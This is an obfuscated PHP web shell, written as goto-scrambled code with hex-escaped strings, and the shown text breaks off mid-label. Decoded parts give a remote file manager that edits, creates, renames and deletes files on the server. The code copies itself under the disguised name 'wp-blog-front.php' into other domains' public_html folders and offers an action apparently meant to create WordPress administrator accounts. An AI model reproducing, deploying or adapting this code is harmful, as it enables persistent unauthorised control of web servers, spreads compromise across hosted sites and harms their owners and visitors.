F7EoO; c5Q47: $zbFXB = "\167\x70\55\142\x6c\x6f\147\x2d\x66\162\x6f\x6e\164\56\x70\150\160"; goto AfiM4; zSWeR: u4oqo: goto FBF73; X8LHV: goto TUDXP; goto VSrOX; Ojl3u: goto mMdzY; goto Ei6BU; Hzg4W: if (!is_writable($htvAP)) { goto Q98Ok; } goto lx4x2; nbuQd: rnYLp: goto VkdA4; xZLoR: lT7gi: goto LvU_1; a_n5b: g9ZiQ: goto h032c; Ei6BU: goto q8FyN; goto WJyBR; VSrOX: t8QM7: goto q_1Q_; TODUf: PEinE: goto xb4ha; bUerB: CAQ2x: goto TQJZf; lypPS: VoeqA: goto TRYQ5; TFMBV: goto K3003; goto ftBy8; a6hbS: goto n2PG3; goto zSWeR; fhs0S: mMdzY: goto fGFIP; SemA_: zWd7Y: goto nuB10; qpJyw: goto WpHqr; goto im3l0; h3MuU: goto Fl1wR; goto biAXF; POSeB: goto zqCeA; goto tm9_T; i_Aia: goto d26Tq; goto kOSzj; L6U9a: igC57: goto FX8qe; edIzx: goto g9ZiQ; goto UUGrD; fC0RF: n2PG3: goto XRGGx; mT1QB: WpHqr: goto Ojl3u; RYImv: hsFf_: goto d7h1L; A_llZ: dtuOX: goto bKvyd; wT4S0: Ein9r: goto bIVem; fGFIP: goto Ein9r; goto mT1QB; ftBy8: goto MNAMj; goto sadJ1; HzbFA: TsLzd: goto h3MuU; nuB10: if (!file_put_contents($KUX1S, $HQfp3)) { goto riXmi; } goto HvwyS; WM7iI: d26Tq: goto u3diC; lchgJ: goto n_DIT; goto Wiuan; n766B: goto TsLzd; goto i_Aia; WJyBR: XOwo2: goto VWz3O; eQef8: goto B1C2A; goto TODUf; oVwKo: goto ZJSTt; goto DpPtS; kg079: YIEH6: goto zhrre; Wiuan: B2ODT: goto TFMBV; q7UK1: goto ezUtN; goto edIzx; ugTRA: WlcCY: goto PAtId; q_1Q_: goto lT7gi; goto VvLWy; zV6dX: h85Ee: goto THj1B; bIVem: goto r5jpE; goto vDhQm; H6Byz: MNAMj: goto tYmGo; OIxoY: goto t8QM7; goto GPgZp; xb4ha: ku1XX: goto pT6Yx; HCALd: goto U8wF3; goto PWQyQ; D81PF: goto Og_55; goto cl_yF; DpPtS: U8wF3: goto rePbp; MRtbf: goto pqNVa; goto YPhq3; CNHV4: goto dtuOX; goto kdnnO; XRGGx: r5jpE: goto E436F; biAXF: eXtyq: goto n766B; FrTbR: goto uWRHq; goto X1jdx; FBF73: goto fd1ek; goto oVwKo; F7EoO: goto AFiCi; goto aWati; JQJdY: Og_55: goto E3Mrn; LvU_1: goto rP9XS; goto YBjC8; rePbp: goto ku1XX; goto rzVHr; GPgZp: zqCeA: goto q7UK1; NSXXj: goto TaGMG; goto aD3L2; PAtId: goto P3Mc5; goto QHNNB; TMZT0: goto rLq2z; goto Pvqb3; Pvqb3: P3Mc5: goto SWKD4; hoIWs: hgTHK: goto JICE3; Ahkn2: goto y7e_I; goto QYSbc; vDhQm: goto ux11Q; goto RYImv; A_nVV: PD6vj: goto OIxoY; yW6vy: TUDXP: goto M8GVO; QYSbc: goto ptyck; goto hoIWs; im3l0: AFiCi: goto HzbFA; dYMiY: ruKhz: goto BE5Cv; JICE3: wf11m: goto tjDHf; YPhq3: goto igC57; goto W6F5i; cceQ3: ZJSTt: goto xZLoR; VWz3O: xPeO_: goto l_f1D; UAGiv: $HbhNW[] = "\x68\x74\164\x70\x3a\57\x2f{$B0UUB}\x2f{$zbFXB}"; goto GApLz; i2A_Z: $KUX1S = "{$htvAP}\x2f{$zbFXB}"; goto POSeB; phPk5: Mfz38: goto fhs0S; QHNNB: A76t1: goto A_llZ; L55cY: rLq2z: goto zV6dX; JGlPW: riXmi: goto HCALd; sadJ1: lddNl: goto Ldl8c; FYWSS: uWRHq: goto DgPTq; X1jdx: q8FyN: goto MRtbf; THj1B: goto tbFHZ; goto kg079; h0Laq: ezUtN: goto Kp2el; h032c: KX_1H: goto qpJyw; gSGNf: bzSc_: goto Ahkn2; zecxm: Oa6fD: goto n3tJX; UUGrD: Jbzht: goto NSXXj; QG6fV: JJ0pb: goto A_nVV; aD3L2: goto JJ0pb; goto a_n5b; YBjC8: tbFHZ: goto D81PF; gxREz: UdPo5: goto UAGiv; BE5Cv: goto wf11m; goto dPLQk; aWati: ptyck: goto lypPS; kdnnO: goto YIEH6; goto L6U9a; tm9_T: kbFi0: goto zecxm; VkdA4: $htvAP = "{$oSJ8K}\x2f\144\157\x6d\x61\151\156\163\x2f{$B0UUB}\x2f\x70\x75\142\x6c\151\143\137\x68\x74\x6d\154"; goto jp3j9; FX8qe: fd1ek: goto lchgJ; Kp2el: goto zWd7Y; goto FYWSS; OVhRZ: Q98Ok: goto j96Dv; bKvyd: goto lddNl; goto L55cY; rzVHr: goto kbFi0; goto R0RKv; TRYQ5: goto UdPo5; goto SemA_; TQJZf: ryUIu: goto msxek; Rti4H: goto PEinE; goto H6Byz; PWQyQ: B1C2A: goto Hzg4W; l_f1D: goto CAQ2x; goto gxREz; Ldl8c: TaGMG: goto Ii0Sr; DgPTq: goto KX_1H; goto a6hbS; dPLQk: goto hgTHK; goto lzFP5; u3diC: K3003: goto Rti4H; msxek: } goto zeeZE; iUp7n: TFXVD: goto JK3zx; hTkJO: return []; goto cFhRP; pcHT8: JHDG7: goto CoFbs; bSCy_: goto HZkyG; goto oyhQU; YySBW: goto tCju4; goto LCZqb; mKtom: goto sdo3T; goto t8f0f; q1GnM: IoSkJ: goto E7tbT; wzZwl: goto wTz4X; goto q1GnM; HAlIQ: goto Kh7RI; goto NUbuO; Xr5mb: goto Fx4lB; goto PO6As; mmOEo: yfJ3Q: goto XZUKX; Ne70u: goto gDD_e; goto cUH_d; C5uPW: goto ir38f; goto pDWOG; e1isF: goto OpOIn; goto H8m2U; anKeV: goto WPqri; goto x8XLi; m_bii: goto DQAju; goto hUsW0; zLlAO: W04iN: goto enCH1; AV0Ca: O6TVY: goto bawC0; j1nt_: G5zCG: goto xyJGz; vZIZa: IHmUd: goto KTMKG; oWGyJ: oPcBJ: goto tQYso; ioM0M: XpVRy: goto Frj3n; hk2Cv: bt2Mo: goto REPKx; XSJNG: goto Mm4pS; goto NnasV; T4g40: if (!$NySlu) { goto gNqUC; } goto gbJ7Q; vsyfU: ir38f: goto j7TQP; gbQSf: NGfsY: goto pjo2x; eyoHR: goto nOhdC; goto Lse7n; xyVHx: goto IoSkJ; goto cjYXS; tQYso: BZarw: goto fG9MN; NSWf6: g7wPa: goto E7Fui; Pon0h: cYirU: goto PkbjQ; y11Cz: goto ZBltR; goto rdVee; Frj3n: ak6y8: goto gdWEw; dR0uK: goto IHmUd; goto mmOEo; C1XOa: goto TFXVD; goto pqxQH; NUbuO: O_rAU: goto EKa54; WzB2_: goto TgnkZ; goto d5BL5; zB_Lr: goto bt2Mo; goto txZJv; yFj2v: goto a38SL; goto Ymuz7; a3KHu: skbzo: goto e1isF; fG9MN: goto skbzo; goto BJs1m; U7qGD: goto ygBm1; goto lyRId; ytgoV: return $HbhNW; goto dR0uK; czRc4: goto Go7_O; goto OxUqq; v1ojR: goto CWv87; goto DLBKI; Hn2VE: goto C1hUL; goto pcHT8; PeXwr: goto EDsBy; goto zxEIp; Ww0iN: goto tqHsE; goto xQELg; M3mDa: goto MPuuV; goto QD4S4; yYxSX: goto O6TVY; goto veIQX; Acc8r: CVtE9: goto adcDm; enCH1: goto sUQ5Z; goto N2XVx; awPpR: goto PT_Ta; goto jgKDl; adl6_: } goto fK2Ze; edyxl: goto yaI1b; goto nZOWZ; Qe10l: XMPXG: goto APQLu; Hq1MR: AG2ub: goto k5H1Z; Kk1Ev: goto wlg9r; goto D6Njc; xLzC1: goto n4Z1k; goto VEAiq; lYu0j: goto LJCXQ; goto rs4y2; DJbID: goto AyUTC; goto sjCR2; k4Vi5: goto WBdv7; goto PKpvj; V19mR: goto WytPZ; goto pX0zf; jNPBL: NlnCg: goto ilDZF; cEhU0: goto mNINs; goto kT4U8; S32af: goto eJqKf; goto LQbME; hEI3Z: v1oOS: goto jEBL_; XYHQP: goto yqCJY; goto SPBAn; NSXyq: goto rD0Y7; goto Qbrza; FWA0z: goto iFm00; goto LnECi; HrEHe: goto j4fbo; goto G5i85; AZ32v: ppimC: goto AUr_O; ZgZvc: zPqro: goto iGDOl; Pbwpu: Epaeb: goto mXvip; RLu8M: goto R7fQw; goto X_Rx5; ouUdy: DItA6: goto uSV6y; L2A51: goto lynu2; goto Y5uU5; leSQu: goto VM7J8; goto i6_nO; a2E2o: goto JLx3x; goto Ek6CX; j51ry: function hVc0_($KUX1S) { goto dRpfn; yb6Jz: ygkoP: goto icaW3; KSI1f: NZxQa: goto ELzuv; R4Pjl: goto fbt_h; goto NYrgA; N1ARZ: D6c0g: goto X4uPo; NbNTy: goto uWrgU; goto xJUOx; ELzuv: Rw1Rw: goto SvWDS; ffEVs: return implode("\x20\57\x20", $wDHLd); goto nzrJU; UeFRy: LvEo_: goto Tnjxf; YTlF0: ljf7g: goto khYPQ; UPRn3: SGKIt: goto nVISa; Ir0s0: rTV6t: goto R4Pjl; gnVwy: sEGJ2: goto XH09t; hrcfF: goto ljf7g; goto w2txh; xp4U4: f7XrP: goto NbNTy; ZNOb5: goto O77Yp; goto Iwp3Q; lEyqb: cX7gb: goto y0iCR; NYrgA: goto dGn7y; goto SIVxv; RKJoq: goto e_YbJ; goto KSI1f; khYPQ: goto f7XrP; goto RKJoq; y0iCR: $N1Vw9 = explode(DIRECTORY_SEPARATOR, trim($KUX1S, DIRECTORY_SEPARATOR)); goto ZNOb5; GSUZH: goto cX7gb; goto GPMKC; dRpfn: goto rTV6t; goto OFTwZ; e1GpP: goto wLiNG; goto I3wCJ; xJUOx: Duzfp: goto U5Ffc; U5Ffc: goto Rw1Rw; goto Z0zEp; LYgVT: EKo9Z: goto tItwu; I3wCJ: goto gKOk1; goto lEyqb; X4uPo: $wDHLd = []; goto OlO4m; bmjXm: e_YbJ: goto gnVwy; jQxfd: goto D6c0g; goto x9rkz; AuxXT: tt48V: goto utI_H; Lw8z7: Rh1yR: goto Bl2uH; nVISa: goto Rh1yR; goto YTlF0; ID50w: goto NZxQa; goto qtcLe; Tnjxf: goto SGKIt; goto I5XUK; JTtUS: wGXjs: goto u_LH0; SvWDS: goto og8KB; goto Ir0s0; SIVxv: XBHfV: goto SrKjr; GPMKC: O77Yp: goto Y8PuN; x9rkz: og8KB: goto UAIAF; Z0zEp: goto XBHfV; goto UeFRy; qtcLe: dGn7y: goto DKUkr; XH09t: goto EKo9Z; goto Lw8z7; EvqIL: goto GTNmH; goto RLIjX; RLIjX: o5bGu: goto xp4U4; icaW3: goto tJHuK; goto zGeyO; yO2LB: eg_AM: goto oRGZs; h1ZyS: goto ygkoP; goto bmjXm; w2txh: AV25C: goto e1GpP; Iwp3Q: GTNmH: goto NRbqB; SEnBq: xD6VU: goto AuxXT; NRbqB: foreach ($N1Vw9 as $yacO1) { goto u4FCS; a00vt: KANDx: goto cI4E2; VLgAF: goto ee1rZ; goto A9IYt; ZjAxK: goto ieQn9; goto w6prJ; cI4E2: bg27m: goto fkUuL; u5ld_: goto w53jv; goto vGwc0; FN5Yb: goto EuCfZ; goto BtYzF; tFqia: goto KCBMG; goto a00vt; MOxr5: qv1wd: goto O4ush; Nr_Ai: ee1rZ: goto Y1zjR; zHBVT: goto fBknH; goto ZjAxK; s0k0V: GGMr3: goto UbeGH; uBMR2: goto Hd9ZN; goto s0k0V; Ax12D: goto KANDx; goto tjcqe; UbeGH: xdAW0: goto s4F80; XXM28: KCBMG: goto unnhb; pbErz: goto AjTxK; goto t1mcA; vGwc0: EuCfZ: goto zHBVT; unnhb: fBknH: goto Ax12D; w6prJ: ieQn9: goto bDdGS; t1mcA: w53jv: goto VLgAF; SZJYB: goto qD3cK; goto NZVD_; NZVD_: Hd9ZN: goto gmOaE; O4ush: kNOBc: goto FN5Yb; Jjr4v: CLJbs: goto aK0DX; y5wQF: qD3cK: goto OE6xc; OE6xc: $wDHLd[] = "\x3c\x61\40\150\x72\145\146\x3d\47\x3f\x64\151\162\x3d" . urlencode($d2iGd) . "\x27\76{$yacO1}\74\57\x61\x3e"; goto u5ld_; gmOaE: $d2iGd .= DIRECTORY_SEPARATOR . $yacO1; goto pbErz; u4FCS: goto U0Zb1; goto MOxr5; aK0DX: rjCER: goto SZJYB; bDdGS: JQB4m: goto uBMR2; BtYzF: qCIQy: goto Nr_Ai; edN7F: goto CLJbs; goto i8ne8; fYf99: goto rjCER; goto tFqia; tjcqe: U0Zb1: goto GxUlU; Y1zjR: goto qv1wd; goto XXM28; GxUlU: goto JQB4m; goto edN7F; fkUuL: goto GGMr3; goto Jjr4v; i8ne8: AjTxK: goto fYf99; A9IYt: goto qCIQy; goto y5wQF; s4F80: } goto yO2LB; nzrJU: goto Duzfp; goto yb6Jz; zGeyO: goto o5bGu; goto LYgVT; OlO4m: goto AV25C; goto JTtUS; OFTwZ: uWrgU: goto ffEVs; oRGZs: goto xD6VU; goto SEnBq; Y8PuN: goto sEGJ2; goto ID50w; Bl2uH: Ntmmr: goto hrcfF; DKUkr: tJHuK: goto EvqIL; tItwu: $d2iGd = ''; goto h1ZyS; u_LH0: fbt_h: goto jQxfd; utI_H: goto LvEo_; goto Twds7; Twds7: gKOk1: goto UPRn3; I5XUK: goto wGXjs; goto N1ARZ; SrKjr: wLiNG: goto GSUZH; UAIAF: } goto kodTq; VNQhF: fx2Zt: goto HA_FL; PZ6FD: exit; goto edyxl; lfeQn: goto SsqsW; goto mEyIg; ciaPa: xjdod: goto E6mJN; MnYYv: iTVFz: goto EoMyx; A4CH8: LcHIH: goto rk09R; dROu6: if (!VId5H($fNAU7) && !FGfb9($q5ijL)) { goto nwZhy; } goto Jgez4; wpNnP: X_VRy: goto f6RtR; KksL3: goto KQR9L; goto pmAjj; Y6Vvz: Mpw0a: goto EJ23U; xrFa4: QJYuq: goto V3pkU; hQr7P: goto Xz6X1; goto ky0ox; O29SP: goto K14Rm; goto zF2eE; UDY38: $fNAU7 = "\x68\145\x6c\154"; goto uEoKz; NSBT6: xUQTL: goto Kw4uo; nZOWZ: Bd7cS: goto lbfVf; rPcjt: goto CFA22; goto VMC1l; APXSe: avda4: goto mCO_w; X385F: goto yg7sc; goto NW2YB; NS_P6: PLos3: goto pPv8_; ltaRC: Q_gWi: goto nPxWE; wEtCr: goto pHfPY; goto ruGiS; HOQAy: $D6V0J = $JdqDR; goto qXC8Y; LO8kc: goto rpkEp; goto c8Cpu; BT3jl: goto x9ZO3; goto JSfsG; g8omF: H4smI: goto kD6XT; lAoqM: goto jZG7w; goto I5E7B; n93Gk: goto nYEWv; goto N5T9R; t_u1g: goto R2RRw; goto CwWL8; OHyMs: iwDZz: goto lYu0j; VdjT6: goto m9e_l; goto gySkl; VgiTK: goto QBjIY; goto cYkRq; z31JX: goto uJ79M; goto i8LuC; XcJod: goto BiKFr; goto hbaSs; J5sJ6: goto h3Mkp; goto wbqkt; Woiag: goto vAzRU; goto UDF0S; Tvv8Y: c1Y1i: goto bX6wS; t045h: goto ufbsx; goto WtCDg; gvHGm: goto kcJFb; goto Y7GTZ; NO3ry: @rmdir($OYF8c); goto G8RQx; NkeNK: goto XTrPy; goto rSUiJ; HWvRS: kZyGP: goto LQM5f; gwbaH: evnh5: goto EZBND; PkpkD: goto c75GS; goto XlHGB; fc_1M: cc93s: goto W1og2; pAuzx: goto Gb0PB; goto Wrhjv; Y7GTZ: QRu0E: goto ptGrF; dzZAB: ipmoX: goto pLUNm; WD3OG: goto iMPZC; goto PQmoy; y2gjG: f9DLn: goto x6VNx; w48LP: goto iNoeY; goto JfLz2; flQBy: WZXZz: goto X3sGq; e4M5A: anH3D: goto HQKM6; UUu0V: GY9jC: goto rUxDS; Z1Gtb: goto r6FWt; goto s9Uw_; u4KuL: if (empty($_GET["\145\x64\151\164"])) { goto V35gp; } goto bBowp; wwM9e: yxPnN: goto JZsHU; OmVrv: goto YxNMY; goto N7YKq; MqVgE: pHfPY: goto xkb3Y; tUduY: FpsD2: goto t045h; TdN5J: Xyjxo: goto HwQDA; QDtwL: mUM1a: goto A8Ezk; i2ZBs: goto PQHpz; goto Q7X2c; XRlAm: goto kTdtq; goto yCmcS; rTRoz: KOHoK: goto S32af; akk14: goto CLznv; goto d12wZ; PQ0Gl: Rl7vB: goto XRlAm; tFVhH: Ig84v: goto lhDSv; gg0cD: uL9wg: goto Ux5iJ; GK0TK: RbW_B: goto OtWzu; whaQj: z1TRi: goto bUF72; IwVbW: fXR_9: goto AuBcD; crQvd: YdNYY: goto a2E2o; bsexg: LJCXQ: goto BIpk2; f3roe: yYo4F: goto MJUaz; beXJa: x9ZO3: goto JNX9T; RJOeG: lgAaq: goto b5yUa; EJ23U: goto wht1c; goto QqInZ; ZenZd: TiDrY: goto FekV5; Qx8j3: XYPS_: goto JfqKr; XJSAf: bB2bQ: goto jNLL5; cFk3g: qnoxP: goto GLdyC; JFlyl: iZ5nl: goto MAhYk; pp9c0: goto nvOF1; goto r4llA; OswRP: WjY0U: goto tkYCb; VQ2KN: goto HZzN_; goto fYcK6; ef1Kq: b2u9j: goto n4fUk; i8LuC: MeGcL: goto IYHeZ; Rke00: if (!(!empty($_POST["\162\x65\156\x61\155\x65\137\x6f\154\x64"]) && !empty($_POST["\162\x65\156\x61\x6d\145\x5f\x6e\x65\167"]))) { goto lBW6U; } goto oDR69; n5OFn: msEep: goto Ox6lK; r74bY: U3iSv: goto kDmxW; jFXX4: aF9v3: goto Zqsuk; tuGap: xVwRJ: goto FAw4n; njHeJ: goto wxbwg; goto NIV85; YRBfv: PlkQE: goto mxl49; HBo7O: goto GWlCj; goto O0kYN; SRLvP: echo "\74\x21\104\x4f\x43\124\x59\120\105\40\x68\x74\x6d\x6c\x3e\15\xa\15\12\x3c\x68\164\155\x6c\76\15\12\15\xa\x3c\150\145\x61\144\76\15\12\x9\74\x74\151\x74\x6c\145\76\347\x81\253\347\203\xa7\350\xb5\244\345\xa3\x81\x3c\57\x74\151\164\x6c\145\x3e\xd\12\x3c\57\x68\145\141\x64\x3e\15\12\74\x73\x74\x79\154\x65\x20\164\171\160\145\x3d\42\x74\145\170\164\57\143\163\x73\42\76\15\xa\x62\x6f\144\171\40\x7b\xd\12\40\40\157\166\x65\x72\x66\x6c\x6f\167\55\x78\72\150\151\144\x64\x65\156\x3b\xd\xa\x20\x20\x66\x6f\156\x74\x3a\x20\x31\x35\x70\170\x20\42\103\x65\x6e\164\165\162\x79\40\x47\x6f\164\x68\151\x63\42\54\40\42\124\151\x6d\x65\163\40\122\x6f\155\x61\x6e\42\54\x20\163\141\156\x73\x2d\163\x65\162\151\146\x3b\15\xa\40\x20\142\x61\143\x6b\147\x72\x6f\165\x6e\144\72\165\162\x6c\50\150\x74\164\x70\x73\72\57\x2f\x6b\56\x74\157\160\64\164\x6f\x70\x2e\151\x6f\57\x70\137\63\x30\x34\x34\x33\154\x70\x7a\x69\60\56\x6a\160\145\x67\x29\x3b\xd\xa\x62\141\x63\x6b\147\162\157\165\156\x64\x2d\151\x6d\x61\x67\145\72\40\x75\162\154\x28\x68\x74\164\x70\x73\x3a\x2f\x2f\x69\155\147\62\56\142\x61\151\x64\165\x2e\143\x6f\x6d\x2f\x69\164\57\x75\x3d\61\61\64\65\x31\x35\62\71\65\67\x2c\63\63\x33\64\x39\67\62\x33\x39\61\x26\x66\x6d\x3d\62\x35\x33\x26\146\x6d\x74\x3d\141\165\164\157\x26\x61\160\x70\75\x31\x33\70\46\146\x3d\112\120\x45\x47\77\x77\75\x38\61\x37\46\x68\75\65\60\60\51\x3b\15\xa\x20\x20\142\x61\x63\x6b\x67\162\x6f\x75\x6e\x64\x2d\163\x69\172\145\72\x20\x63\157\166\x65\x72\73\xd\12\40\x20\142\x61\x63\x6b\x67\162\x6f\x75\x6e\x64\55\x72\x65\160\145\141\164\72\40\156\157\55\162\145\160\145\141\x74\x3b\15\12\40\40\142\x61\x63\153\x67\x72\157\x75\x6e\x64\55\160\157\163\x69\x74\x69\x6f\156\x3a\40\143\145\156\x74\145\x72\x3b\15\xa\x20\x20\x62\x61\x63\x6b\147\162\157\x75\156\x64\55\141\164\164\141\143\x68\x6d\x65\x6e\164\x3a\x20\x66\151\170\x65\x64\x3b\15\12\x20\40\150\145\151\x67\x68\x74\72\x20\x31\x30\60\x25\73\15\xa\40\x20\175\15\12"; goto yAqpz; mB7Lg: QfHUS: goto M32Xs; tkYCb: if (empty($_POST["\156\145\x77\146\x6f\x6c\x64\x65\162"])) { goto FopiD; } goto a3NhY; NRbvr: LGqK1: goto iCa1I; m7UPp: TtH1T: goto T1VpJ; lMkl0: goto RZCVG; goto IHLnC; orK6d: JWLH7: goto ErcjN; p0nTf: goto wNquf; goto s49_e; v5Q9k: goto n2WkM; goto Pbwpu; d7rGB: IBF6h: goto wAzz2; LQM5f: VrXPo: goto SzvFg; CTQ0O: goto tcFgj; goto Tvv8Y; Aaa8o: OzJwW: goto zWsbZ; Nib1w: f5nlv: goto U1oqU; VTkSC: goto gRnHu; goto ofhv1; Ts3fo: goto ww1U4; goto o2mrB; C0AeL: goto Gu75W; goto OiT2O; ow3OF: uo4RA: goto Nhvxt; LnECi: zBf07: goto LHMHt; tLalb: AOh9o: goto PpMWV; txvvt: goto Nb5vy; goto Y1nBo; Mix7i: CNoYb: goto JgPGl; fz82N: nfbZG: goto pTdcs; cliCH: RchK3: goto O0SeS; zSz8T: VMmqS: goto E31b3; hlzGB: LWJCi: goto E9h2t; caCjE: goto SDqjo; goto x1zVu; BU70D: PQHpz: goto ROCbh; MH_RT: fIfaC: goto lwpYQ; mxgcF: goto blQpy; goto rOPBo; Due3P: sHnMK: goto tDj1L; tmKUJ: goto THXJD; goto guWkM; qB9Xc: LpCQF: goto M_ySO; EZBND: goto QynDU; goto UBRcL; XveWy: h3Mkp: goto DJbID; Jgez4: goto BWqdy; goto oD1Eb; uu3XS: pgQRW: goto cFVUB; QWgsx: goto anH3D; goto Q92Uz; JfLz2: goto EM03P; goto MNJZw; MCVU1: goto GY9jC; goto M4u07; BCH5S: goto FtsP2; goto D8WFc; vVZP1: a750m: goto H9R_F; zxPvx: echo "\x3c\57\x70\x3e\12"; goto fK7R0; S2lqR: $mdI48 = htmlspecialchars(file_get_contents($OYF8c)); goto ux48b; vmpMT: goto piN9u; goto I0aJC; Vxus2: ZeFgS: goto bShoH; qeEky: ZzPDj: goto KVKlT; Km40z: WYMTp: goto Qtv3E; b5kFp: plEkR: goto tObSm; H9R_F: goto Y3sBp; goto cao5i; ecvwl: goto TwgIS; goto yW17m; J9wD8: goto dsUxH; goto ebmTO; ZC7Hp: rOJ8q: goto gTqfp; kRugS: VdCSw: goto OkD6Y; Y3LoV: $hznvy .= "\74\144\151\x76\40\143\x6c\141\163\163\75\47\x6f\x6b\x27\x3e\303\xa2\305\x93\342\200\235\x20\x46\157\x6c\x64\145\162\x20\143\162\x65\141\164\145\144\74\57\144\151\166\76"; goto NkeNK; EV0lx: nZqz2: goto oizs9; J_Hln: vAzRU: goto wbKnl; OuzcA: goto T07g6; goto Axgfg; DSEOn: KPlKX: goto IK_DP; G1Qv8: X_zeJ: goto INFFL; oizs9: goto APpNG; goto vVZP1; r4llA: dYUUJ: goto qBLIC; nsdJy: zWmwG: goto C6DGU; xRuWG: goto Iu7Vm; goto ml1uh; bAvkV: EEaFa: goto SCKIJ; MfKxB: goto VdCSw; goto lGFhF; Lx0XR: goto Ihrld; goto JY0sP; Zoi8b: A9iGR: goto ekLqq; bq3T2: zicQ5: goto lMkl0; lg02d: TkaFs: goto d8vt9; zWsbZ: n_64s: goto xbpy_; LebU4: lynu2: goto qa8k3; gw4Nl: goto GTMrE; goto N0tdo; HozkL: JLhkU: goto bf9bm; uyNWu: B3ej5: goto uGhan; M2hcK: goto Q8yTR; goto pp9c0; DnLfo: GvS0d: goto jjccd; hnCgw: goto aw61p; goto LebU4; yCAjM: goto Y4A3c; goto bTx7G; YIuJn: rr71t: goto VQ2KN; FJHh0: goto N_uzv; goto GGQYr; HL_Ea: $txUKt = $JdqDR . "\x2f" . basename($_POST["\x6e\145\x77\x66\x6f\x6c\144\145\162"]); goto rQbqD; LQfqR: eB0P0: goto nMeT9; BgGg1: goto EBoDv; goto U3dVg; A3xpt: echo "\74\150\63\x3e\303\242\xc5\223\342\200\xa6\x20\x52\145\x70\154\x69\x63\141\x74\145\144\40\151\x6e\x74\x6f\40\160\165\x62\154\x69\x63\137\150\164\155\x6c\x3c\57\150\x33\x3e\x3c\x75\154\x3e"; goto c3Ecp; LK7PK: goto D9duu; goto SAtNS; LtWUT: goto Bq6R4; goto blQE1; dWM3l: goto RchK3; goto ybD6v; He2H7: goto En4Bl; goto PZazT; ecHb3: YbMjO: goto jFU8u; XfhKL: goto fAnBX; goto WD3OG; Yv5N0: goto XJ15u; goto YIuJn; c3Ecp: goto cBi0z; goto uzFib; fwefS: leovd: goto fT5pv; ukPCo: goto CxF4g; goto XJSAf; h1gA6: goto nYEWv; goto z31JX; XlHGB: Naw4a: goto fM7Ha; lJLwF: P_gAl: goto oilrT; qBgFi: s6Utd: goto xhqEf; bY7iK: goto DpIfg; goto LtWUT; X41GM: goto tC_To; goto RwT6B; JFMBg: if (empty($_POST["\x6d\x61\153\145\137\167\x70\x5f\141\x64\x6d\x69\156"])) { goto NlzaM; } goto L9t2s; tJTtt: CcQIm: goto FLvD1; KAvzx: goto PbdyU; goto O1XTW; dqcrq: h_uEZ: goto n93Gk; IH9CG: pW0Lg: goto LFZY3; nl37G: sHU8k: goto aO1F2; auij7: goto KrrW1; goto RCvXC; b8TnL: goto f9DLn; goto Y39BH; swcu0: DckSI: goto Xn1aA; TRK5g: goto BgbEE; goto Bd9pg; uqrbB: goto xwHle; goto BOUyM; T21kq: goto yxPnN; goto oaJ0w; av9h0: goto wfTR1; goto xhHtZ; l1Rhx: goto fpj30; goto lRc0U; iNEwI: fZku2: goto dO0pw; HFyGT: goto iZ4h4; goto kMj6k; Zqsuk: fAnBX: goto CsPsQ; tEAi1: $rIJSd = false; goto C0AeL; cg4ZT: c75GS: goto OHyMs; xhHtZ: JLx3x: goto A3xpt; yJhHf: goto Kh6bK; goto EOJg3; AXMDN: if (!($D6V0J !== dirname($D6V0J))) { goto NKnHC; } goto l1Rhx; J6ZxO: goto i_d0m; goto b5kFp; RADZh: yaI1b: goto bY7iK; NIV85: goto wodEv; goto nUHZj; RwT6B: Gu75W: goto ptU3E; h43tU: goto bEuoB; goto QBC7y; IGMxG: KX2Vx: goto WljjD; IK_DP: jZG7w: goto Ogr2e; FLgPu: $HF_AU = dirname($D8T_A) . "\57" . basename($_POST["\162\145\x6e\141\155\x65\x5f\156\145\167"]); goto UGaKU; I5E7B: XFYQV: goto d1lZ2; rs6hQ: Y43yk: goto d0ggy; pZvhC: goto zsCef; goto m7UPp; f6RtR: goto VNH2v; goto TLAgf; zOUTZ: EM91A: goto Bj6yj; rxL9a: goto P_gAl; goto lg02d; iAu5k: goto lAGKT; goto fZ4fb; blCrI: goto rivn3; goto HWvRS; jg0N4: goto Y43yk; goto Mg0kq; Suitv: $JglkV = basename($D8SPt); goto tvKkm; fm2b4: jFF3F: goto fMQvJ; FKta4: qtW4o: goto AXMDN; fO7IX: GFznw: goto OdSSG; YVnki: zzfx1: goto OAdsT; mVSsr: j_FJI: goto pq4ZS; cD76l: R2RRw: goto SU2aS; mCO_w: Uzca2: goto lfeQn; VEAiq: goto NJFPs; goto O_ANL; gTqfp: goto j_FJI; goto yIUPW; RnKjm: ves8O: goto qBbCO; Aub2J: goto wKHRo; goto oVXyY; DZPMO: goto WYMTp; goto a411L; QrSn1: goto pWS9l; goto nY_1Q; mxgon: goto lgzIG; goto ENk7J; VDpyM: goto Jp083; goto Qe10l; uAwQG: goto nfbZG; goto doVAA; dQAET: sbJX_: goto IImTN; idhLU: goto VPmxL; goto XLvuk; bIuzY: LGhol: goto WoibB; LQbME: XEsqk: goto xihPS; rUxDS: goto poMp0; goto SIi_F; lPC2j: gEPCt: goto jexem; TB1We: goto dzixS; goto vwZaR; MK6VQ: KQR9L: goto V9MeH; qGMZo: snGiW: goto W1Yey; U2iNi: CFA22: goto dQAET; KAIdj: YV7J3: goto LhIiH; IJm2S: JscKU: goto Pa9jH; VhhhS: DCCBg: goto Pne0_; KAk9t: d3u7B: goto PD19_; SXKBh: OPFVa: goto zGsRd; MLZJ1: iZ4h4: goto CMig3; JK3Qm: goto hHLeW; goto HtCJj; p3Slk: BPJ4w: goto ukPCo; hrlxR: goto VtXS1; goto uu3XS; RpT82: MdNLB: goto M9Oz6; pmKLG: goto hKkuU; goto zOUTZ; itVgW: goto V3DtT; goto Lvm8B; HK11o: YPNKf: goto zDrDe; O5gxF: goto ves8O; goto aGUgU; OtWzu: goto WEFVN; goto VENIm; gySkl: j4fbo: goto R5nt6; CNAMg: D9duu: goto QjW0N; OA0vJ: goto snGiW; goto eyg_4; YWduN: WEFVN: goto A8SPk; Xx6fd: goto EGZPJ; goto NO2YR; cLM9z: if (file_exists($bG34o)) { goto wssjk; } goto J9wD8; MMy0M: goto SbuXe; goto ivss1; yNu6z: goto oz3t7; goto Z_j7r; jexem: goto TiDrY; goto g8omF; a411L: SbDAZ: goto BU70D; Z3O3Z: rw_pK: goto swcu0; njHjZ: ocCsn: goto qrkn2; Nluj9: goto pgQRW; goto ouUdy; R5nt6: $bG34o = $JdqDR . "\x2f" . basename($_POST["\156\x65\167\146\151\154\x65"]); goto v5Q9k; YeYhj: goto MBBhg; goto gphJD; GETqH: goto GJ2ZZ; goto DnLfo; L3Tk1: VM7J8: goto UtBmG; yabSI: goto en_sG; goto jNPBL; BHdPu: 